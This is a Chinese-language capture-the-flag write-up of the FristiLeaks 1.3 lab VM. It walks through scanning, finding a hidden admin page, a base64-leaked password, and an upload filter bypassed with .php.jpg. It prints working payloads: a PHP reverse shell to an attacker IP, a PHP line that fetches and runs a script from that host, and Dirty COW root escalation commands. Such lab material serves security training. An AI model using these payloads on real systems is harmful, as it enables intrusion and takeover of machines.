一、靶机下载

下载链接:https://download.vulnhub.com/fristileaks/FristiLeaks_1.3.ova

二、FristiLeaks靶机搭建

将下载好的靶机环境,用VMware导入即可使用,文件->打开
在这里插入图片描述
在这里插入图片描述
导入到合适位置即可,默认是C盘,成功导入虚拟机之后,打开即可
在这里插入图片描述在这里插入图片描述
首先,我们在开始之前,我们按照作者的要求设置虚拟机的MAC地址 08:00:27:A5:A6:76
在这里插入图片描述
在这里插入图片描述
如下图所示,才是正确启动
在这里插入图片描述

三、攻击过程

kali IP:192.168.27.129
靶机IP:192.168.59.128

1、主机发现

nmap -sn 192.168.59.0/24
在这里插入图片描述

2、端口扫描

方法一:nmap -sS 192.168.59.128
在这里插入图片描述
方法二:masscan 192.168.59.128 -p 0-65535 --rate=10000
在这里插入图片描述

3、端口服务识别

nmap -sV -T4 -O 192.168.59.128 -p 80
在这里插入图片描述

4、发现服务漏洞并利用

访问目标网站
在这里插入图片描述
目录扫描
在这里插入图片描述
发现http://192.168.59.128/images/和http://192.168.59.128/robots.txt,访问发现没什么有用的东西
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
查看扫描到的网站目录,都只是一些图片,没有发现其他可用的信息;
robots.txt文件内的目录是不允许爬虫机器人爬取的目录,我们打开发现的三个目录,都只是一张图片,没有其他信息;
最后的最后,通过其他工具也没有扫描出网站的可利用目录,没办法,只能将主页上有的单词全都尝试了一遍,拼接到链接后面;终于在图片上的文字“keep calm and drink fristi”中尝试成功;

尝试在url中输入fristi,进入到后台
在这里插入图片描述
尝试使用弱口令进行登录admin/admin
可以发现该登录页面没有登录次数的限制,也没有验证码机制;可以尝试进行暴力破解;
在这里插入图片描述
扫描http://192.168.59.128/fristi/下的目录
在这里插入图片描述
发现http://192.168.59.128/fristi/uploads/,浏览器访问,如下图,可能是需要登录也可能是禁止访问
在这里插入图片描述
查看http://192.168.10.159/fristi/index.php的页面源码发现提示
在这里插入图片描述
对于登录页面,就需要特别留意代码中的用户名和疑似密码的信息;
发现了一个名字为eezeepz的留言和一段加密过的字符串,并且content中提到“We use base64 encoding for images”,猜想:加密的字符串应该是base64编码,并且加密的是一张图片;

将加密的字符串复制到Kali中;并进行解密;
在这里插入图片描述
在这里插入图片描述
发现解密后是png图片
在这里插入图片描述
在这里插入图片描述
猜解用户名是eezeepz密码是keKkeKKeKKeKkEkkEk
登陆测试
在这里插入图片描述
存在文件上传漏洞
在这里插入图片描述
经过测试发现,只允许上传png、jpg、gif图片,经过多次尝试,发现使用.php.jpg可以上传成功并执行,果断传一个一句话shell。

获取shell方法一

上传一句话图片木马
在这里插入图片描述
在这里插入图片描述
猜测图片上传后名字没有被修改,访问
在这里插入图片描述
中国菜刀连接,获取shell
在这里插入图片描述

获取反弹shell方法二

在Kali上写个PHP反弹shell的脚本;并开启Apache服务

<?php $sock=fsockopen("192.168.59.129",7777);exec("/bin/sh -i <&3 >&3 2>&3");?>

在这里插入图片描述
在物理机上写个下载并执行该脚本的PHP代码 ceshi.php.jpg

<?php system("wget http://192.168.59.129/shell.php -O /tmp/shell.php; php /tmp/shell.php");?>

上传成功后,浏览器访问
在这里插入图片描述
kali监听到反弹shell
在这里插入图片描述
在这里插入图片描述
shell转换为交互式的tty
python -c ‘import pty;pty.spawn("/bin/bash")’
在这里插入图片描述

获取反弹shell方法三

将Kali上的php-reverse-shell.php复制到桌面上,重命名,并修改监听的IP地址
在这里插入图片描述
在这里插入图片描述
修改接收端IP地址以及端口号
在这里插入图片描述
修改文件名为w.php.jpg
在这里插入图片描述
上传成功
在这里插入图片描述
kali监听端口,浏览器访问文件,会话成功反弹
在这里插入图片描述

脏牛提权

发现内核版本是2.6.32可以利用脏牛提权
wget下载攻击端的脏牛文件,然后编译并执行,登录账户,成功获得管理员权限
将dirtycow提权文件传至靶机
exp地址:https://github.com/FireFart/dirtycow
浏览器下载exp
在这里插入图片描述
将exp放在kali的WEB服务下面并重启apache
在这里插入图片描述
在这里插入图片描述
让靶机去下载这个提权文件dirty.c脚本
wget http://192.168.59.129/dirty.c /tmp/dirty.c
在这里插入图片描述
注意:
wget命令
wget命令用来从指定的URL下载文件。wget非常稳定,它在带宽很窄的情况下和不稳定网络中有很强的适应性,如果是由于网络的原因下载失败,wget会不断的尝试,直到整个文件下载完毕。如果是服务器打断下载过程,它会再次联到服务器上从停止的地方继续下载。这对从那些限定了链接时间的服务器上下载大文件非常有用。

-O, --output-document=FILE 将文档写入 FILE。

然后编译并运行,然后切换firefart账户,获得管理员权限
gcc -pthread dirty.c -o exp -lcrypt
在这里插入图片描述
./exp 123
在这里插入图片描述
提权时间有点慢,等一会儿就成功了
在这里插入图片描述

总结

1.信息收集

2.目录扫描没有什么发现,尝试把fristi当作后台,发现信息

3.文件上传,解析漏洞

4.页面信息敏感泄露

5.脏牛提权

Logo

华为开发者空间,是为全球开发者打造的专属开发空间,汇聚了华为优质开发资源及工具,致力于让每一位开发者拥有一台云主机,基于华为根生态开发、创新。

更多推荐